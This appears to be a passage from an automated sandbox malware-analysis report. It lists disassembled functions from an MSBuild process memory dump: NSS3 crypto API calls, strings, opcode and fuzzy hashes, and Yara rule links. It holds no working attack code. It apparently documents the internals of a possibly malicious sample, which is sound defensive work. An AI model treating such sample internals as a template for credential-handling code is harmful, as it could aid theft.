Opcode ID: 650114c4665fe40f78a735b54c03cc3dd2fcb0efab6074d624db0d26b8c5d68d
Instruction ID: 9246b56dd68b2854355b2ec95644f8b2e2921162c2fce2b9e6b294a589fbd42f
Opcode Fuzzy Hash: 650114c4665fe40f78a735b54c03cc3dd2fcb0efab6074d624db0d26b8c5d68d
Instruction Fuzzy Hash: AA1163B1F032418BFF00AB55D89574A777CEB823A8F1D0124F61597650DB31F9558BD2

Function 6CCF8D20 Relevance: 10.8, APIs: 7, Instructions: 290memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD002,00000000), ref: 6CCF8E19
free.MOZGLUE(?), ref: 6CCF8E2D
PORT_Alloc_Util.NSS3(?), ref: 6CCF8F01
memcpy.VCRUNTIME140(?,?,?), ref: 6CCF8F57
free.MOZGLUE(?), ref: 6CCF8F7D
PR_GetCurrentThread.NSS3 ref: 6CCF8F8A
PR_SetError.NSS3(FFFFD044,00000000), ref: 6CCF90D6

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Errorfree$Alloc_CurrentThreadUtilmemcpy
String ID:
API String ID: 4163001165-0
Opcode ID: e5eb5818bba4ca24791709f51b78ecf3773da66bb29387ed885b2509f8626027
Instruction ID: c3fa630124403f00933fe3baf4bb3685a2dca46cca6cebcb875dd8b259868693
Opcode Fuzzy Hash: e5eb5818bba4ca24791709f51b78ecf3773da66bb29387ed885b2509f8626027
Instruction Fuzzy Hash: 9FA1C575A047019FE750CF26C841FABB3E5EF89308F04492AE969CB652F731E646C792

Function 6CCE8C10 Relevance: 10.8, APIs: 7, Instructions: 279COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCE8C93

Part of subcall function 6CD1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD1C2BF

Part of subcall function 6CCC8A60: TlsGetValue.KERNEL32(6CC761C4,?,6CC75F9C,00000000), ref: 6CCC8A81
Part of subcall function 6CCC8A60: TlsGetValue.KERNEL32(?,?,?,6CC75F9C,00000000), ref: 6CCC8A9E
Part of subcall function 6CCC8A60: EnterCriticalSection.KERNEL32(?,?,?,?,6CC75F9C,00000000), ref: 6CCC8AB7
Part of subcall function 6CCC8A60: PR_Unlock.NSS3(?,?,?,?,?,6CC75F9C,00000000), ref: 6CCC8AD2

memset.VCRUNTIME140(?,00000000,?), ref: 6CCE8CFB
memset.VCRUNTIME140(?,00000000,?), ref: 6CCE8D10

Part of subcall function 6CCC8970: TlsGetValue.KERNEL32(?,00000000,6CC761C4,?,6CC75639,00000000), ref: 6CCC8991
Part of subcall function 6CCC8970: TlsGetValue.KERNEL32(?,?,?,?,?,6CC75639,00000000), ref: 6CCC89AD
Part of subcall function 6CCC8970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CC75639,00000000), ref: 6CCC89C6
Part of subcall function 6CCC8970: PR_WaitCondVar.NSS3 ref: 6CCC89F7
Part of subcall function 6CCC8970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CC75639,00000000), ref: 6CCC8A0C

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockmemset$CondErrorWait
String ID:
API String ID: 2412912262-0
Opcode ID: 87b070ea523037f3c2645c3ee1beb7c6be8dea274cbae0584b0cbed812dee59c
Instruction ID: 0f0be2b544d4c4999a71f65e3911ef57db4161193145ff3df384470352d7da2b
Opcode Fuzzy Hash: 87b070ea523037f3c2645c3ee1beb7c6be8dea274cbae0584b0cbed812dee59c
Instruction Fuzzy Hash: EBB181B0D003099FDB14CFA9DC90AAEB7BAFF49308F10412ED91AA7751E731A955CB51

Function 6CC62D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CC62D69

Strings

winUnmapfile2, xrefs: 6CC62F7F
winSeekFile, xrefs: 6CC62E9C
winTruncate2, xrefs: 6CC62EF8
winTruncate1, xrefs: 6CC62EBE
winUnmapfile1, xrefs: 6CC62F55

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: be34dc15b19b06fe22f289355e3f8619b77420185e2d1a849cf6a6259d99875d
Instruction ID: 94a5810668415df94da414d366c8cbc1c04b5724457be4c642763faa1463d6a7
Opcode Fuzzy Hash: be34dc15b19b06fe22f289355e3f8619b77420185e2d1a849cf6a6259d99875d
Instruction Fuzzy Hash: 4E61A171A002059FEB04CF65DD94A6E77B5FF49354F108238EA169BB90EB31AD06CB91

Function 6CCE29E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6CCE21DD,00000000), ref: 6CCE2A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6CCE21DD,00000002,00000000,00000000,?,?,6CCE21DD,00000000), ref: 6CCE2A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6CCE21DD,00000000), ref: 6CCE2A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CCE2AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CCE2B0D
PK11_FreeSymKey.NSS3(?), ref: 6CCE2B7B
PK11_FreeSymKey.NSS3(?), ref: 6CCE2BD6

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: 855004cb18c64e398a4916c366b440e10b9c9b367ae42935bef1160f5596da4a
Instruction ID: 40fb3550eec75bdf6d46471ec356b6519cb4be42440ff1af5e2a97aa48f0b0da
Opcode Fuzzy Hash: 855004cb18c64e398a4916c366b440e10b9c9b367ae42935bef1160f5596da4a
Instruction Fuzzy Hash: 02513771E002069BEB109FA9DC84BAB73B5AF4A31CF150128ED1AAB791F735E805C791

Function 6CC86980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6CC85DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC85DEC
Part of subcall function 6CC85DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CC85E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC869BA

Part of subcall function 6CCCFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CC79003,?), ref: 6CCCFD91
Part of subcall function 6CCCFD80: PORT_Alloc_Util.NSS3(A4686CCD,?), ref: 6CCCFDA2
Part of subcall function 6CCCFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CCD,?,?), ref: 6CCCFDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CC86A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC86AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC86ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC86AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC86AE9

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: b006b537c80a6e86897e519544abe1f54744bd4fe2fb1794847a701195e58d30
Instruction ID: 2135490efb56f79132e9423b4f7abe2cc50b926f0c5d3cd7e05a32b4317d811e
Opcode Fuzzy Hash: b006b537c80a6e86897e519544abe1f54744bd4fe2fb1794847a701195e58d30
Instruction Fuzzy Hash: FF41A071A51A009BEB109F24EC49BDB7BE9BF44358F188438E95AC7740EF35E90187A1

Function 6CCD89A0 Relevance: 10.6, APIs: 7, Instructions: 124COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3 ref: 6CCD89DF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCD89EA
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CCD8A04

Part of subcall function 6CCDBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CCD800A,00000000,?,00000000,?), ref: 6CCDBC3F

PK11_PBEKeyGen.NSS3(00000000,?,?,00000000,?), ref: 6CCD8A47
PK11_GetInternalKeySlot.NSS3 ref: 6CCD8A7E
PK11_PBEKeyGen.NSS3(00000000,?,00000000,00000000,?), ref: 6CCD8A96

Part of subcall function 6CCBF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CCBF854
Part of subcall function 6CCBF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CCBF868
Part of subcall function 6CCBF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CCBF882
Part of subcall function 6CCBF820: free.MOZGLUE(04C483FF,?,?), ref: 6CCBF889
Part of subcall function 6CCBF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CCBF8A4
Part of subcall function 6CCBF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CCBF8AB
Part of subcall function 6CCBF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CCBF8C9
Part of subcall function 6CCBF820: free.MOZGLUE(280F10EC,?,?), ref: 6CCBF8D0

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CCD8AD4

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: free$K11_Util$CriticalDeleteItem_Section$CopyInternalSlot$AlgorithmTag_Zfree
String ID:
API String ID: 3389286309-0
Opcode ID: 124f7757e09668c570ba1c6a0fd1166ea5bbd818655952daedf26d4b4c871de9
Instruction ID: 226b5e2472df0943045d888ec8e72ced392d010508e39365058762cee16d34ad
Opcode Fuzzy Hash: 124f7757e09668c570ba1c6a0fd1166ea5bbd818655952daedf26d4b4c871de9
Instruction Fuzzy Hash: B341B4B56002047FE7019E99DC41F6B7668EB45718F05406AEE1C9AB42F732F954C7E2

Function 6CCBAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CCBAB3E,?,?,?), ref: 6CCBAC35

Part of subcall function 6CC9CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC9CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CCBAB3E,?,?,?), ref: 6CCBAC55

Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD10F3
Part of subcall function 6CCD10C0: EnterCriticalSection.KERNEL32(?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD110C
Part of subcall function 6CCD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1141
Part of subcall function 6CCD10C0: PR_Unlock.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1182
Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CCBAB3E,?,?), ref: 6CCBAC70

Part of subcall function 6CC9E300: TlsGetValue.KERNEL32 ref: 6CC9E33C
Part of subcall function 6CC9E300: EnterCriticalSection.KERNEL32(?), ref: 6CC9E350
Part of subcall function 6CC9E300: PR_Unlock.NSS3(?), ref: 6CC9E5BC
Part of subcall function 6CC9E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CC9E5CA
Part of subcall function 6CC9E300: TlsGetValue.KERNEL32 ref: 6CC9E5F2
Part of subcall function 6CC9E300: EnterCriticalSection.KERNEL32(?), ref: 6CC9E606
Part of subcall function 6CC9E300: PORT_Alloc_Util.NSS3(?), ref: 6CC9E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CCBAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCBAB3E), ref: 6CCBACD7
PORT_Alloc_Util.NSS3(?), ref: 6CCBAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CCBAD2B

Part of subcall function 6CC9F360: TlsGetValue.KERNEL32(00000000,?,6CCBA904,?), ref: 6CC9F38B
Part of subcall function 6CC9F360: EnterCriticalSection.KERNEL32(?,?,?,6CCBA904,?), ref: 6CC9F3A0
Part of subcall function 6CC9F360: PR_Unlock.NSS3(?,?,?,?,6CCBA904,?), ref: 6CC9F3D3

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: caf549150aa486bfdf038b4bc4cd931f72c8f8a618ef6f44b7e1b74b326bd905
Instruction ID: f45a6fb1fef20d0fa5376249207d565228be5747fb3ac7c4582945c06fd9acdb
Opcode Fuzzy Hash: caf549150aa486bfdf038b4bc4cd931f72c8f8a618ef6f44b7e1b74b326bd905
Instruction Fuzzy Hash: B03119B1E006156FEB009FA9CC419AF7776AFC4728B198128E855AB740FB32ED1587A1

Function 6CC98C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CC98C7C

Part of subcall function 6CD39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD80A27), ref: 6CD39DC6
Part of subcall function 6CD39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD80A27), ref: 6CD39DD1
Part of subcall function 6CD39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CD39DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC98CB0
TlsGetValue.KERNEL32 ref: 6CC98CD1
EnterCriticalSection.KERNEL32(?), ref: 6CC98CE5
PR_Unlock.NSS3(?), ref: 6CC98D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CC98D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC98D93

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 9448e1cc5f99e805751792268deafb1e18cc8f3ec981390fc151b2ed39ca49fd
Instruction ID: a448cb05b62959aa1713c7840cc929ed912367a2b61e2fdab384f40d31ae1f71
Opcode Fuzzy Hash: 9448e1cc5f99e805751792268deafb1e18cc8f3ec981390fc151b2ed39ca49fd
Instruction Fuzzy Hash: DA312872E01202AFEB009F69DC44BAAB774BF55318F24013AEA1967BA0E771A954C7D1

Function 6CCDCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CCDCD93,?), ref: 6CCDCEEE

Part of subcall function 6CCD14C0: TlsGetValue.KERNEL32 ref: 6CCD14E0
Part of subcall function 6CCD14C0: EnterCriticalSection.KERNEL32 ref: 6CCD14F5
Part of subcall function 6CCD14C0: PR_Unlock.NSS3 ref: 6CCD150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CCDCD93,?), ref: 6CCDCEFC

Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD10F3
Part of subcall function 6CCD10C0: EnterCriticalSection.KERNEL32(?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD110C
Part of subcall function 6CCD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1141
Part of subcall function 6CCD10C0: PR_Unlock.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1182
Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CCDCD93,?), ref: 6CCDCF0B

Part of subcall function 6CCD0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CCD08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CCDCD93,?), ref: 6CCDCF1D

Part of subcall function 6CCCFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CCC8D2D,?,00000000,?), ref: 6CCCFB85
Part of subcall function 6CCCFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CCCFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CCDCD93,?), ref: 6CCDCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CCDCD93,?), ref: 6CCDCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CCDCD93,?,?,?,?,?,?,?,?,?,?,?,6CCDCD93,?), ref: 6CCDCF78

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: a8de321a4e357924d86969b4ee492a73ab0e815a0be466740583ae2e7190745e
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 7B11B4B5F002045BEB00ABAA7C41BABB6EC9F5455DF054039EE09D7B41FB60F909C6B2

Function 6CC88C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC88C1B
EnterCriticalSection.KERNEL32 ref: 6CC88C34
PL_ArenaAllocate.NSS3 ref: 6CC88C65
PR_Unlock.NSS3 ref: 6CC88C9C
PR_Unlock.NSS3 ref: 6CC88CB6

Part of subcall function 6CD1DD70: TlsGetValue.KERNEL32 ref: 6CD1DD8C
Part of subcall function 6CD1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD1DDB4

Strings

KRAM, xrefs: 6CC88C8F

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 950cd092dcf811761b4141490b7f11d69764a71910841dccf4178ae4b43fef34
Instruction ID: 2f89edacfdbb9fc29183db8f0fc3bd68d37409da85ed28cf9bd95691b51e6b96
Opcode Fuzzy Hash: 950cd092dcf811761b4141490b7f11d69764a71910841dccf4178ae4b43fef34
Instruction Fuzzy Hash: D92174B1A066018FD700AF79C48495ABBF4FF45308F06896ED988CBB15EB35D886CB91

Function 6CD82C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CD82CA0
PR_ExitMonitor.NSS3 ref: 6CD82CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CD82CD1
strdup.MOZGLUE(?), ref: 6CD82CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CD82D27

Strings

Loaded library %s (static lib), xrefs: 6CD82D22

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 040cf1c708dfd70dd50bb1f7306c0107cd991416ae2aa49313f3ed3fbcffa535
Instruction ID: 428043655e338df4cef53a2efdec12aad5440448d7a263a7c402084815fc7d49
Opcode Fuzzy Hash: 040cf1c708dfd70dd50bb1f7306c0107cd991416ae2aa49313f3ed3fbcffa535
